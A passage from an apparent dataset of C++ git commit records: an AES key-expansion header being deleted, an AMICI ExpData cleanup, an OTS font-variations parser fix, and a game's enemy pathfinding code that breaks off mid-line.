key, \/\/ 4 * Nk octets\n                std::array<VAR, WSZ>& w) const   \/\/ 16 * (Nr + 1) octets\n    {\n        const std::size_t\n            Nk = key.size() \/ 4,\n            Nr = w.size() \/ 16 - 1;\n\n        for (std::size_t i = 0; i < Nk; ++i) {\n            w[4*i] = key[4*i];\n            w[4*i + 1] = key[4*i + 1];\n            w[4*i + 2] = key[4*i + 2];\n            w[4*i + 3] = key[4*i + 3];\n        }\n\n        for (std::size_t i = Nk; i < 4 * (Nr + 1); ++i) {\n            std::array<VAR, 4> temp = { w[4*(i - 1)],\n                                        w[4*(i - 1) + 1],\n                                        w[4*(i - 1) + 2],\n                                        w[4*(i - 1) + 3] };\n\n            if (0 == i % Nk) {\n                const VAR tmp = temp[0];\n                temp[0] = BITWISE::XOR(m_sbox(temp[1]), BITWISE::constant(rcon(i\/Nk - 1)));\n                temp[1] = m_sbox(temp[2]);\n                temp[2] = m_sbox(temp[3]);\n                temp[3] = m_sbox(tmp);\n\n            } else if (Nk > 6 && 4 == i % Nk) {\n                temp[0] = m_sbox(temp[0]);\n                temp[1] = m_sbox(temp[1]);\n                temp[2] = m_sbox(temp[2]);\n                temp[3] = m_sbox(temp[3]);\n            }\n\n            w[4*i] = BITWISE::XOR(w[4*(i - Nk)], temp[0]);\n            w[4*i + 1] = BITWISE::XOR(w[4*(i - Nk) + 1], temp[1]);\n            w[4*i + 2] = BITWISE::XOR(w[4*(i - Nk) + 2], temp[2]);\n            w[4*i + 3] = BITWISE::XOR(w[4*(i - Nk) + 3], temp[3]);\n        }\n    }\n\n    const AES_SBox<T, U, BITWISE> m_sbox;\n};\n\n} \/\/ namespace snarkfront\n\n#endif\n<commit_msg>Delete AES_KeyExpansion.hpp<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"amici\/edata.h\"\n\n#include \"amici\/defines.h\"\n#include \"amici\/model.h\"\n\n#include <cstring>\n\nnamespace amici {\n\nExpData::ExpData() : nytrue(0), nztrue(0), nt(0), nmaxevent(0) {}\n\nExpData::ExpData(int nytrue, int nztrue, int nt, int nmaxevent)\n    : ExpData(nytrue, nztrue, nt, nmaxevent,\n              std::vector<realtype>(nt * nytrue),\n              std::vector<realtype>(nt * nytrue),\n              std::vector<realtype>(nmaxevent * nztrue),\n              std::vector<realtype>(nmaxevent * nztrue))\n\n{\n}\n\nExpData::ExpData(int nytrue, int nztrue, int nt, int nmaxevent,\n                 const std::vector<realtype> &my,\n                 const std::vector<realtype> &sigmay,\n                 const std::vector<realtype> &mz,\n                 const std::vector<realtype> &sigmaz)\n    : my(my), sigmay(sigmay), mz(mz), sigmaz(sigmaz),\n      nytrue(nytrue), nztrue(nztrue), nt(nt), nmaxevent(nmaxevent)\n{\n\n}\n\nExpData::ExpData(Model const& model)\n    : ExpData(model.nytrue, model.nztrue, model.nt(), model.nMaxEvent())\n{\n}\n\nExpData::ExpData(const ExpData &other)\n    : ExpData(other.nytrue, other.nztrue, other.nt, other.nmaxevent,\n              other.my, other.sigmay, other.mz, other.sigmaz)\n{\n\/\/    std::vector<realtype> my;\n\/\/    \/** standard deviation of observed data (dimension: nt x nytrue, row-major) *\/\n\/\/    std::vector<realtype> sigmay;\n\n\/\/    \/** observed events (dimension: nmaxevents x nztrue, row-major) *\/\n\/\/    std::vector<realtype> mz;\n\/\/    \/** standard deviation of observed events\/roots\n\/\/     * (dimension: nmaxevents x nztrue, row-major)*\/\n\/\/    std::vector<realtype> sigmaz;\n}\n\nvoid ExpData::setObservedData(const double *observedData) {\n    \/**\n     * set function that copies data from input to ExpData::my\n     *\n     * @param observedData observed data\n     *\/\n    for (int imy = 0; imy < nytrue * nt; ++imy) {\n        my.at(imy) = static_cast<const realtype>(observedData[imy]);\n    }\n}\n\nvoid ExpData::setObservedDataStdDev(const double *observedDataStdDev) {\n    \/**\n     * set function that copies data from input to ExpData::sigmay\n     *\n     * @param observedDataStdDev standard deviation of observed data\n     *\/\n    for (int imy = 0; imy < nytrue * nt; ++imy) {\n        sigmay.at(imy) = static_cast<const realtype>(observedDataStdDev[imy]);\n    }\n}\n\nvoid ExpData::setObservedEvents(const double *observedEvents) {\n    \/**\n     * set function that copies data from input to ExpData::mz\n     *\n     * @param observedEvents observed event data\n     *\/\n    for (int imz = 0; imz < nztrue * nmaxevent; ++imz) {\n        mz.at(imz) = static_cast<const realtype>(observedEvents[imz]);\n    }\n}\n\nvoid ExpData::setObservedEventsStdDev(const double *observedEventsStdDev) {\n    \/**\n     * set function that copies data from input to ExpData::sigmaz\n     *\n     * @param observedEventsStdDev standard deviation of observed event data\n     *\/\n    for (int imz = 0; imz < nztrue * nmaxevent; ++imz) {\n        sigmaz.at(imz) = static_cast<const realtype>(observedEventsStdDev[imz]);\n    }\n}\n\nExpData::~ExpData() {\n}\n\n} \/\/ namespace amici\n<commit_msg>Cleanup<commit_after>#include \"amici\/edata.h\"\n\n#include \"amici\/defines.h\"\n#include \"amici\/model.h\"\n\n#include <cstring>\n\nnamespace amici {\n\nExpData::ExpData() : nytrue(0), nztrue(0), nt(0), nmaxevent(0) {}\n\nExpData::ExpData(int nytrue, int nztrue, int nt, int nmaxevent)\n    : ExpData(nytrue, nztrue, nt, nmaxevent,\n              std::vector<realtype>(nt * nytrue),\n              std::vector<realtype>(nt * nytrue),\n              std::vector<realtype>(nmaxevent * nztrue),\n              std::vector<realtype>(nmaxevent * nztrue))\n\n{\n}\n\nExpData::ExpData(int nytrue, int nztrue, int nt, int nmaxevent,\n                 const std::vector<realtype> &my,\n                 const std::vector<realtype> &sigmay,\n                 const std::vector<realtype> &mz,\n                 const std::vector<realtype> &sigmaz)\n    : my(my), sigmay(sigmay), mz(mz), sigmaz(sigmaz),\n      nytrue(nytrue), nztrue(nztrue), nt(nt), nmaxevent(nmaxevent)\n{\n\n}\n\nExpData::ExpData(Model const& model)\n    : ExpData(model.nytrue, model.nztrue, model.nt(), model.nMaxEvent())\n{\n}\n\nExpData::ExpData(const ExpData &other)\n    : ExpData(other.nytrue, other.nztrue, other.nt, other.nmaxevent,\n              other.my, other.sigmay, other.mz, other.sigmaz)\n{\n}\n\nvoid ExpData::setObservedData(const double *observedData) {\n    \/**\n     * set function that copies data from input to ExpData::my\n     *\n     * @param observedData observed data\n     *\/\n    for (int imy = 0; imy < nytrue * nt; ++imy) {\n        my.at(imy) = static_cast<const realtype>(observedData[imy]);\n    }\n}\n\nvoid ExpData::setObservedDataStdDev(const double *observedDataStdDev) {\n    \/**\n     * set function that copies data from input to ExpData::sigmay\n     *\n     * @param observedDataStdDev standard deviation of observed data\n     *\/\n    for (int imy = 0; imy < nytrue * nt; ++imy) {\n        sigmay.at(imy) = static_cast<const realtype>(observedDataStdDev[imy]);\n    }\n}\n\nvoid ExpData::setObservedEvents(const double *observedEvents) {\n    \/**\n     * set function that copies data from input to ExpData::mz\n     *\n     * @param observedEvents observed event data\n     *\/\n    for (int imz = 0; imz < nztrue * nmaxevent; ++imz) {\n        mz.at(imz) = static_cast<const realtype>(observedEvents[imz]);\n    }\n}\n\nvoid ExpData::setObservedEventsStdDev(const double *observedEventsStdDev) {\n    \/**\n     * set function that copies data from input to ExpData::sigmaz\n     *\n     * @param observedEventsStdDev standard deviation of observed event data\n     *\/\n    for (int imz = 0; imz < nztrue * nmaxevent; ++imz) {\n        sigmaz.at(imz) = static_cast<const realtype>(observedEventsStdDev[imz]);\n    }\n}\n\nExpData::~ExpData() {\n}\n\n} \/\/ namespace amici\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2018 The OTS Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"layout.h\"\n\n#include \"fvar.h\"\n\n\/\/ OpenType Variations Common Table Formats\n\n#define TABLE_NAME \"Variations\" \/\/ XXX: use individual table names\n\nnamespace {\n\nbool ParseVariationRegionList(const ots::Font* font, const uint8_t* data, const size_t length,\n                              uint16_t* regionCount) {\n  ots::Buffer subtable(data, length);\n\n  uint16_t axisCount;\n\n  if (!subtable.ReadU16(&axisCount) ||\n      !subtable.ReadU16(regionCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation region list header\");\n  }\n\n  const ots::OpenTypeFVAR* fvar =\n    static_cast<ots::OpenTypeFVAR*>(font->GetTypedTable(OTS_TAG_FVAR));\n  if (!fvar) {\n    return OTS_FAILURE_MSG(\"Required fvar table is missing\");\n  }\n  if (axisCount != fvar->AxisCount()) {\n    return OTS_FAILURE_MSG(\"Axis count mismatch\");\n  }\n\n  for (unsigned i = 0; i < *regionCount; i++) {\n    for (unsigned j = 0; j < axisCount; j++) {\n      int16_t startCoord, peakCoord, endCoord;\n      if (!subtable.ReadS16(&startCoord) ||\n          !subtable.ReadS16(&peakCoord) ||\n          !subtable.ReadS16(&endCoord)) {\n        return OTS_FAILURE_MSG(\"Failed to read region axis coordinates\");\n      }\n      if (startCoord > peakCoord || peakCoord > endCoord) {\n        return OTS_FAILURE_MSG(\"Region axis coordinates out of order\");\n      }\n      if (startCoord < -0x4000 || endCoord > 0x4000) {\n        return OTS_FAILURE_MSG(\"Region axis coordinate out of range\");\n      }\n      if ((peakCoord < 0 && endCoord > 0) ||\n          (peakCoord > 0 && startCoord < 0)) {\n        return OTS_FAILURE_MSG(\"Invalid region axis coordinates\");\n      }\n    }\n  }\n\n  return true;\n}\n\nbool\nParseVariationDataSubtable(const ots::Font* font, const uint8_t* data, const size_t length,\n                           const uint16_t regionCount) {\n  ots::Buffer subtable(data, length);\n\n  uint16_t itemCount;\n  uint16_t shortDeltaCount;\n  uint16_t regionIndexCount;\n\n  if (!subtable.ReadU16(&itemCount) ||\n      !subtable.ReadU16(&shortDeltaCount) ||\n      !subtable.ReadU16(&regionIndexCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation data subtable header\");\n  }\n\n  for (unsigned i = 0; i < regionIndexCount; i++) {\n    uint16_t regionIndex;\n    if (!subtable.ReadU16(&regionIndex) || regionIndex >= regionCount) {\n      return OTS_FAILURE_MSG(\"Bad region index\");\n    }\n  }\n\n  if (!subtable.Skip(size_t(itemCount) * (size_t(shortDeltaCount) + size_t(regionIndexCount)))) {\n    return OTS_FAILURE_MSG(\"Failed to read delta data\");\n  }\n\n  return true;\n}\n\n} \/\/ namespace\n\nnamespace ots {\n\nbool\nParseItemVariationStore(const Font* font, const uint8_t* data, const size_t length) {\n  Buffer subtable(data, length);\n\n  uint16_t format;\n  uint32_t variationRegionListOffset;\n  uint16_t itemVariationDataCount;\n\n  if (!subtable.ReadU16(&format) ||\n      !subtable.ReadU32(&variationRegionListOffset) ||\n      !subtable.ReadU16(&itemVariationDataCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read item variation store header\");\n  }\n\n  if (format != 1) {\n    return OTS_FAILURE_MSG(\"Unknown item variation store format\");\n  }\n\n  if (variationRegionListOffset < subtable.offset() + 4 * itemVariationDataCount ||\n      variationRegionListOffset > length) {\n    return OTS_FAILURE_MSG(\"Invalid variation region list offset\");\n  }\n\n  uint16_t regionCount;\n  if (!ParseVariationRegionList(font,\n                                data + variationRegionListOffset,\n                                length - variationRegionListOffset,\n                                &regionCount)) {\n    return OTS_FAILURE_MSG(\"Failed to parse variation region list\");\n  }\n\n  for (unsigned i = 0; i < itemVariationDataCount; i++) {\n    uint32_t offset;\n    if (!subtable.ReadU32(&offset)) {\n      return OTS_FAILURE_MSG(\"Failed to read variation data subtable offset\");\n    }\n    if (offset >= length) {\n      return OTS_FAILURE_MSG(\"Bad offset to variation data subtable\");\n    }\n    if (!ParseVariationDataSubtable(font, data + offset, length - offset, regionCount)) {\n      return OTS_FAILURE_MSG(\"Failed to parse variation data subtable\");\n    }\n  }\n\n  return true;\n}\n\nbool ParseDeltaSetIndexMap(const Font* font, const uint8_t* data, const size_t length) {\n  Buffer subtable(data, length);\n\n  uint16_t entryFormat;\n  uint16_t mapCount;\n\n  if (!subtable.ReadU16(&entryFormat) ||\n      !subtable.ReadU16(&mapCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read delta set index map header\");\n  }\n\n  const uint16_t MAP_ENTRY_SIZE_MASK = 0x0030;\n\n  const uint16_t entrySize = (((entryFormat & MAP_ENTRY_SIZE_MASK) >> 4) + 1);\n  if (!subtable.Skip(entrySize * mapCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read delta set index map data\");\n  }\n\n  return true;\n}\n\nbool ParseVariationData(const Font* font, const uint8_t* data, size_t length,\n                        size_t axisCount, size_t sharedTupleCount) {\n  Buffer subtable(data, length);\n\n  uint16_t tupleVariationCount;\n  uint16_t dataOffset;\n  if (!subtable.ReadU16(&tupleVariationCount) ||\n      !subtable.ReadU16(&dataOffset)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation data header\");\n  }\n\n  if (dataOffset > length) {\n    return OTS_FAILURE_MSG(\"Invalid serialized data offset\");\n  }\n\n  tupleVariationCount &= 0x0FFF; \/\/ mask off flags\n\n  const uint16_t EMBEDDED_PEAK_TUPLE = 0x8000;\n  const uint16_t INTERMEDIATE_REGION = 0x4000;\n  const uint16_t TUPLE_INDEX_MASK    = 0x0FFF;\n\n  for (unsigned i = 0; i < tupleVariationCount; i++) {\n    uint16_t variationDataSize;\n    uint16_t tupleIndex;\n\n    if (!subtable.ReadU16(&variationDataSize) ||\n        !subtable.ReadU16(&tupleIndex)) {\n      return OTS_FAILURE_MSG(\"Failed to read tuple variation header\");\n    }\n\n    if (tupleIndex & EMBEDDED_PEAK_TUPLE) {\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n      }\n    }\n\n    if (tupleIndex & INTERMEDIATE_REGION) {\n      std::vector<int16_t> startTuple(axisCount);\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n        startTuple.push_back(coordinate);\n      }\n\n      std::vector<int16_t> endTuple(axisCount);\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n        endTuple.push_back(coordinate);\n      }\n\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        if (startTuple[axis] > endTuple[axis]) {\n          return OTS_FAILURE_MSG(\"Invalid intermediate range\");\n        }\n      }\n    }\n\n    if (!(tupleIndex & EMBEDDED_PEAK_TUPLE)) {\n      tupleIndex &= TUPLE_INDEX_MASK;\n      if (tupleIndex >= sharedTupleCount) {\n        return OTS_FAILURE_MSG(\"Tuple index out of range\");\n      }\n    }\n  }\n\n  \/\/ TODO: we don't attempt to interpret the serialized data block\n\n  return true;\n}\n\n} \/\/ namespace ots\n\n#undef TABLE_NAME\n<commit_msg>[variations] ignore VarRegionList.RegionAxisCount when RegionCount == 0<commit_after>\/\/ Copyright (c) 2018 The OTS Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"layout.h\"\n\n#include \"fvar.h\"\n\n\/\/ OpenType Variations Common Table Formats\n\n#define TABLE_NAME \"Variations\" \/\/ XXX: use individual table names\n\nnamespace {\n\nbool ParseVariationRegionList(const ots::Font* font, const uint8_t* data, const size_t length,\n                              uint16_t* regionCount) {\n  ots::Buffer subtable(data, length);\n\n  uint16_t axisCount;\n\n  if (!subtable.ReadU16(&axisCount) ||\n      !subtable.ReadU16(regionCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation region list header\");\n  }\n\n  if (*regionCount == 0) {\n    return true;\n  }\n\n  const ots::OpenTypeFVAR* fvar =\n    static_cast<ots::OpenTypeFVAR*>(font->GetTypedTable(OTS_TAG_FVAR));\n  if (!fvar) {\n    return OTS_FAILURE_MSG(\"Required fvar table is missing\");\n  }\n  if (axisCount != fvar->AxisCount()) {\n    return OTS_FAILURE_MSG(\"Axis count mismatch\");\n  }\n\n  for (unsigned i = 0; i < *regionCount; i++) {\n    for (unsigned j = 0; j < axisCount; j++) {\n      int16_t startCoord, peakCoord, endCoord;\n      if (!subtable.ReadS16(&startCoord) ||\n          !subtable.ReadS16(&peakCoord) ||\n          !subtable.ReadS16(&endCoord)) {\n        return OTS_FAILURE_MSG(\"Failed to read region axis coordinates\");\n      }\n      if (startCoord > peakCoord || peakCoord > endCoord) {\n        return OTS_FAILURE_MSG(\"Region axis coordinates out of order\");\n      }\n      if (startCoord < -0x4000 || endCoord > 0x4000) {\n        return OTS_FAILURE_MSG(\"Region axis coordinate out of range\");\n      }\n      if ((peakCoord < 0 && endCoord > 0) ||\n          (peakCoord > 0 && startCoord < 0)) {\n        return OTS_FAILURE_MSG(\"Invalid region axis coordinates\");\n      }\n    }\n  }\n\n  return true;\n}\n\nbool\nParseVariationDataSubtable(const ots::Font* font, const uint8_t* data, const size_t length,\n                           const uint16_t regionCount) {\n  ots::Buffer subtable(data, length);\n\n  uint16_t itemCount;\n  uint16_t shortDeltaCount;\n  uint16_t regionIndexCount;\n\n  if (!subtable.ReadU16(&itemCount) ||\n      !subtable.ReadU16(&shortDeltaCount) ||\n      !subtable.ReadU16(&regionIndexCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation data subtable header\");\n  }\n\n  for (unsigned i = 0; i < regionIndexCount; i++) {\n    uint16_t regionIndex;\n    if (!subtable.ReadU16(&regionIndex) || regionIndex >= regionCount) {\n      return OTS_FAILURE_MSG(\"Bad region index\");\n    }\n  }\n\n  if (!subtable.Skip(size_t(itemCount) * (size_t(shortDeltaCount) + size_t(regionIndexCount)))) {\n    return OTS_FAILURE_MSG(\"Failed to read delta data\");\n  }\n\n  return true;\n}\n\n} \/\/ namespace\n\nnamespace ots {\n\nbool\nParseItemVariationStore(const Font* font, const uint8_t* data, const size_t length) {\n  Buffer subtable(data, length);\n\n  uint16_t format;\n  uint32_t variationRegionListOffset;\n  uint16_t itemVariationDataCount;\n\n  if (!subtable.ReadU16(&format) ||\n      !subtable.ReadU32(&variationRegionListOffset) ||\n      !subtable.ReadU16(&itemVariationDataCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read item variation store header\");\n  }\n\n  if (format != 1) {\n    return OTS_FAILURE_MSG(\"Unknown item variation store format\");\n  }\n\n  if (variationRegionListOffset < subtable.offset() + 4 * itemVariationDataCount ||\n      variationRegionListOffset > length) {\n    return OTS_FAILURE_MSG(\"Invalid variation region list offset\");\n  }\n\n  uint16_t regionCount;\n  if (!ParseVariationRegionList(font,\n                                data + variationRegionListOffset,\n                                length - variationRegionListOffset,\n                                &regionCount)) {\n    return OTS_FAILURE_MSG(\"Failed to parse variation region list\");\n  }\n\n  for (unsigned i = 0; i < itemVariationDataCount; i++) {\n    uint32_t offset;\n    if (!subtable.ReadU32(&offset)) {\n      return OTS_FAILURE_MSG(\"Failed to read variation data subtable offset\");\n    }\n    if (offset >= length) {\n      return OTS_FAILURE_MSG(\"Bad offset to variation data subtable\");\n    }\n    if (!ParseVariationDataSubtable(font, data + offset, length - offset, regionCount)) {\n      return OTS_FAILURE_MSG(\"Failed to parse variation data subtable\");\n    }\n  }\n\n  return true;\n}\n\nbool ParseDeltaSetIndexMap(const Font* font, const uint8_t* data, const size_t length) {\n  Buffer subtable(data, length);\n\n  uint16_t entryFormat;\n  uint16_t mapCount;\n\n  if (!subtable.ReadU16(&entryFormat) ||\n      !subtable.ReadU16(&mapCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read delta set index map header\");\n  }\n\n  const uint16_t MAP_ENTRY_SIZE_MASK = 0x0030;\n\n  const uint16_t entrySize = (((entryFormat & MAP_ENTRY_SIZE_MASK) >> 4) + 1);\n  if (!subtable.Skip(entrySize * mapCount)) {\n    return OTS_FAILURE_MSG(\"Failed to read delta set index map data\");\n  }\n\n  return true;\n}\n\nbool ParseVariationData(const Font* font, const uint8_t* data, size_t length,\n                        size_t axisCount, size_t sharedTupleCount) {\n  Buffer subtable(data, length);\n\n  uint16_t tupleVariationCount;\n  uint16_t dataOffset;\n  if (!subtable.ReadU16(&tupleVariationCount) ||\n      !subtable.ReadU16(&dataOffset)) {\n    return OTS_FAILURE_MSG(\"Failed to read variation data header\");\n  }\n\n  if (dataOffset > length) {\n    return OTS_FAILURE_MSG(\"Invalid serialized data offset\");\n  }\n\n  tupleVariationCount &= 0x0FFF; \/\/ mask off flags\n\n  const uint16_t EMBEDDED_PEAK_TUPLE = 0x8000;\n  const uint16_t INTERMEDIATE_REGION = 0x4000;\n  const uint16_t TUPLE_INDEX_MASK    = 0x0FFF;\n\n  for (unsigned i = 0; i < tupleVariationCount; i++) {\n    uint16_t variationDataSize;\n    uint16_t tupleIndex;\n\n    if (!subtable.ReadU16(&variationDataSize) ||\n        !subtable.ReadU16(&tupleIndex)) {\n      return OTS_FAILURE_MSG(\"Failed to read tuple variation header\");\n    }\n\n    if (tupleIndex & EMBEDDED_PEAK_TUPLE) {\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n      }\n    }\n\n    if (tupleIndex & INTERMEDIATE_REGION) {\n      std::vector<int16_t> startTuple(axisCount);\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n        startTuple.push_back(coordinate);\n      }\n\n      std::vector<int16_t> endTuple(axisCount);\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        int16_t coordinate;\n        if (!subtable.ReadS16(&coordinate)) {\n          return OTS_FAILURE_MSG(\"Failed to read tuple coordinate\");\n        }\n        if (coordinate < -0x4000 || coordinate > 0x4000) {\n          return OTS_FAILURE_MSG(\"Invalid tuple coordinate\");\n        }\n        endTuple.push_back(coordinate);\n      }\n\n      for (unsigned axis = 0; axis < axisCount; axis++) {\n        if (startTuple[axis] > endTuple[axis]) {\n          return OTS_FAILURE_MSG(\"Invalid intermediate range\");\n        }\n      }\n    }\n\n    if (!(tupleIndex & EMBEDDED_PEAK_TUPLE)) {\n      tupleIndex &= TUPLE_INDEX_MASK;\n      if (tupleIndex >= sharedTupleCount) {\n        return OTS_FAILURE_MSG(\"Tuple index out of range\");\n      }\n    }\n  }\n\n  \/\/ TODO: we don't attempt to interpret the serialized data block\n\n  return true;\n}\n\n} \/\/ namespace ots\n\n#undef TABLE_NAME\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>lb_http: implement class Cancellable<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix noise on mobile<commit_after><|endoftext|>"}
{"text":"<commit_before>void enemy_set_destination(map_t map, entity_t *enemy, v2 dest) {\n    int tiles[30][40];\n\n    for (int j = 0; j < 30; j++) {\n        for (int i = 0; i < 40; i++) {\n            tiles[j][i] = (map.tile[j][i] == WALL || map.tile[j][i] == LOCK) ? -2 : -1;\n        }\n    }\n\n    dest = V2(((int) dest.x)\/TILE_SIZE, ((int) dest.y)\/TILE_SIZE);\n    \/\/printf(\"dest %lf %lf\\n\", dest);\n    \/\/dest = dest\/TILE_SIZE;\n\n    tiles[(int) dest.y][(int) dest.x] = 0;\n    \n\n    v2 queue[30*40];\n    int start = 0, end = 0;\n    queue[end++] = dest;\n\n    v2 enemy_pos = enemy->pos;\n    while (end != start) {\n        v2 cur = queue[start++];\n\n        if (cur == enemy_pos) break;\n\n        if (tiles[int(cur.y -1)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y -1);\n        }\n        if (tiles[int(cur.y -1)][int(cur.x)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x, cur.y -1);\n        }\n        if (tiles[int(cur.y -1)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y -1);\n        }\n        if (tiles[int(cur.y)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y);\n        }\n        if (tiles[int(cur.y)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y +1);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x, cur.y +1);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y +1);\n        }\n    }\n\n    if (enemy->enemy_data.path) {\n        free(enemy->enemy_data.path);\n    }\n    enemy->enemy_data.path = (v2*) malloc(end*sizeof(v2));\n    enemy->enemy_data.path[0] = enemy_pos\/TILE_SIZE;\n    enemy->enemy_data.path[0] = V2(((int) enemy_pos.x)\/TILE_SIZE, ((int) enemy_pos.y)\/TILE_SIZE);\n\n    int i = 0;\n    int k = 0;\n    while (true) {\n        v2 currentPoint = enemy->enemy_data.path[i];\n        if (tiles[(int)currentPoint.y][(int) currentPoint.x] == 0) break;\n        v2 min = currentPoint;\n\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x)] != -2) {\n                min = V2(currentPoint.x, currentPoint.y+1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x)] != -2) {\n                min = V2(currentPoint.x, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y+1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y+1);\n            }\n        }\n\n        enemy->enemy_data.path[++i] = min;\n    }\n\n    enemy->enemy_data.path_len = i+1;\n    enemy->enemy_data.path_cur = 0;\n}\n\nvoid enemy_move(map_t map, entity_t *enemy, double dt) {\n    enemy->previous_pos = enemy->pos;\n\n    v2 dir = (enemy->enemy_data.path[enemy->enemy_data.path_cur]*TILE_SIZE) + V2(TILE_SIZE\/2, TILE_SIZE\/2) - enemy->pos;\n    double mag = math_magnitude(dir);\n\n    if (mag < 4) {\n        enemy->pos = (enemy->enemy_data.path[enemy->enemy_data.path_cur]*TILE_SIZE) + V2(TILE_SIZE\/2, TILE_SIZE\/2);\n        if (enemy->enemy_data.path_cur+1 != enemy->enemy_data.path_len) {\n            enemy->enemy_data.path_cur++;\n        }\n        else {\n            enemy_set_destination(map, enemy, enemy->enemy_data.possibleDestinations[rand()%enemy->enemy_data.possibleDestinations_len]);\n        }\n        return;\n    }\n\n    v2 normalized_dir = math_normalize(dir);\n    dir = normalized_dir * 